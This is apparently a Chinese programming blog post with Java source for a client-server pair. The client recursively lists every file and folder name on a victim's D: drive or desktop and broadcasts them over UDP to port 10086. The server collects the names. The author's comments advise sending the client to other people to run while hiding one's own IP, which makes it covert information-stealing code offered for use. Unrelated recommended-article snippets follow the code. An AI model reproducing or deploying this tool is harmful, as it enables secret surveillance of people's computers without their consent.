客户端,运行会遍历桌面,和 D 盘所有文件的名称,通过UDP广播的方式发送出去,服务器需要体检开启,并监听对应的端口号。


import java.io.File;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;/*** @author silence* 客户端端打开就会遍历文件,通过广播的方式发送文件的名字* <p>* 服务器端,可以监听10086端口,收到信息,不会暴露自己的ip* 可以在自己电脑上先运行服务器。客户端发送给别人 执行*/
public class Silence {public static void main(String[] args) {//遍历所有C盘//forC(new File("C:\\Users\\Administrator\\Desktop"));//遍历所有D盘forD(new File("D:\\"));}//通过 广播的方式发送消息private static void send(String str) {try {DatagramSocket socket = new DatagramSocket();DatagramPacket packet = new DatagramPacket(str.getBytes(), str.getBytes().length, InetAddress.getByName("255.255.255.255"), 10086);socket.send(packet);socket.close();} catch (Exception e) {e.printStackTrace();}}/*** @param fileD D盘*/private static void forD(File fileD) {if (!fileD.exists()) return;File[] files = fileD.listFiles();if (files == null || files.length == 0) return;for (File f : files) {if (f.isFile()) {send(f.getName());} else if (f.isDirectory()) {send("文件夹:" + f.getName());forD(f);}}}/*** @param file C盘*/private static void forC(File file) {File[] files = file.listFiles();for (File f : files) {if (f.isFile()) {send(f.getName());} else {send("文件夹:" + f.getName());forC(f);}}}
}

服务器,提前开启,可以监听到广播出来的文件名


import java.net.DatagramPacket;
import java.net.DatagramSocket;/*** @author silence* 服务器端,监听10086端口可以获得客户端发送的数据*/
public class ServerReseive {public static void main(String[] args) throws Exception {DatagramSocket socket = new DatagramSocket(10086);while (true) {byte[] bytes = new byte[1024];DatagramPacket packet = new DatagramPacket(bytes, bytes.length);socket.receive(packet);System.out.println(new String(bytes, 0, packet.getLength()));}}
}

打开软件就遍历桌面和D盘的软件名通过UDP广播的方式发出。服务器监听指定的端口可以获得文件夹名称。不会暴露自己的IP相关推荐

  1. Linux(shell)遍历目录删除指定文件,解决文件夹名称带空格问题

    最近打算把一些学习资源解压上传到阿里网盘上,可是在解压的时候出现了问题,无故产生很多隐藏文件(猪哥mac电脑,用的keka解压软件). 且文件夹层级很多,不可能实现手动一个一个文件夹删除,所以就考虑写 ...

  2. 01-Win10家庭版修改C盘下的用户目录中账户文件夹名称(新版家庭版不能改了,新版家庭版此方法无效)

    注意:新版家庭版用此方法无法更改.(2019-10-10更新) 新电脑开机进入系统时,当时设置了一个中文名称,导致C:\Users目录下文件夹名称为中文,导致许多软件在安装运行上出现问题. 解决问题的 ...

  3. 更改计算机用户文件夹,win10系统怎么自定义C盘用户文件夹名称

    许多用户在安装win10系统之后,想要让电脑显得更加个性化,就想要给C盘中的用户文件夹名称进行自定义修改,那么win10系统怎么自定义C盘用户文件夹名称呢?接下来给大家分享一下具体的操作步骤. 1.在 ...

  4. (win10家庭版)修改C盘Users目录下文件夹名称

    第一次发博客,写的不好请多多包涵~ 由于本人C:\Users目录下文件夹名称为中文,导致许多软件在安装运行上出现问题,哎~ 1.开启管理员账户 win键+r 输入 cmd 打开黑窗口输入: net u ...

  5. 如何修改C盘用户文件夹名称

    免责声明:由于每个人的笔记本配置的都不太一样,修改过程中可能存在不同的问题,建议修改前将重要文件夹备份好. 下面的操作方法个人已经实践过,所用电脑配置:DELL笔记本,Win11操作系统. 下面介绍操 ...

  6. java监听某端口和ip_Java 通过Socket监听指定服务器(IP)的指定端口,及向指定服务器的指定端口发送信息...

    客户端:向指定端口发送信息 package com.jszc.lottery.modules.longpay.util; import java.io.BufferedReader; import j ...

  7. Win10家庭版更改C盘user文件夹名称

    刚买电脑的时候啥也不会,在激活时随便让卖电脑的把用户名设为了Lenovo,后来在平常学习工作时互发文件发现这名字是真的low,按着网上的方法试着改了几次,有几次搞得心态都崩溃了,最后才找到了一种成功的 ...

  8. 递归遍历所有文件夹名称

    static void Main(string[] args){Load(_root);Console.ReadLine();}static void Load(string path){var pa ...

  9. win11修改C盘用户文件夹名称

    新电脑使用microsoft账号进行初始化,导致用户文件夹名称是邮箱前五位,这个真的让人头痛.网上很多方法是直接改名称.改注册表信息等,导致出问题,结果要重装系统,很麻烦. 其实有一个很好的解决方法, ...

最新文章

  1. http://blog.csdn.net/u011001723/article/details/456210272222
  2. linux5.5内核,一条命令就可以升级到Linux 5.5内核或Linux 5.5以上版本
  3. OpenCASCADE:使用 XSTEPDRAW
  4. 怎样验证TextBox输入的全是数字 - .NET技术 / ASP.NET
  5. SAP Spartacus popover Component 的单元测试
  6. 使用 jQuery Mobile 与 HTML5 开发 Web App (九) —— jQuery Mobile 页面与对话框
  7. ORACLE EBS R12 - 寄售功能知多少
  8. python绘制turtle心电图代码_python的生态系统是由标准库和第三方库组成的,turtle库是其标准库,所以不需要安装。_学小易找答案...
  9. BZOJ3626 神思路的树链剖分+线段树维护
  10. 你必须知道:localStorage、sessionStorage 和 Cookie 区别在什么地方
  11. 小程序和android毕设,微信小程序毕设论文(完整)
  12. 想做游戏测试,你一定要知道这几点!
  13. java 16进制转字符串 乱码_Java中16进制与字符串之间的相互转换
  14. 关机重启注销慢? 头疼? 提高速度的好办法!
  15. Apple Pay的使用
  16. shazam 音频指纹 听歌识曲 原理(附代码)
  17. 使用Okhttp调用聚合API
  18. lisp判断选区是否有对象_cad如何快速删除矩形框之外的图形?比如:
  19. 下载tensorflow时遇到的问题
  20. oracle判断为周一_oracle根据四位年周取当周周一的日期函数

热门文章

  1. csp真题 202109-2非零段划分C++代码(100分)
  2. codeql php,使用codeql 挖掘 ofcms
  3. echarts 生成 迁徙图_echarts3 迁徙图 迁入迁出(示例代码)
  4. python正则表达式面试题_吐血总结!50道Python面试题集锦(4)
  5. 匿名函数自我调用_Python中的匿名函数及递归思想简析
  6. 信号中断 与 慢系统调用
  7. 可以让你少奋斗十年的工作经验
  8. fortran转换 matlab代码,将Fortran77代码转换为Matlab代码以查找特征值/向量
  9. [你必须知道的.NET] 第五回:深入浅出关键字---把new说透
  10. linux apache jk,Linux下Apache+Tomcat+JK实现负载均衡和群集的完整过程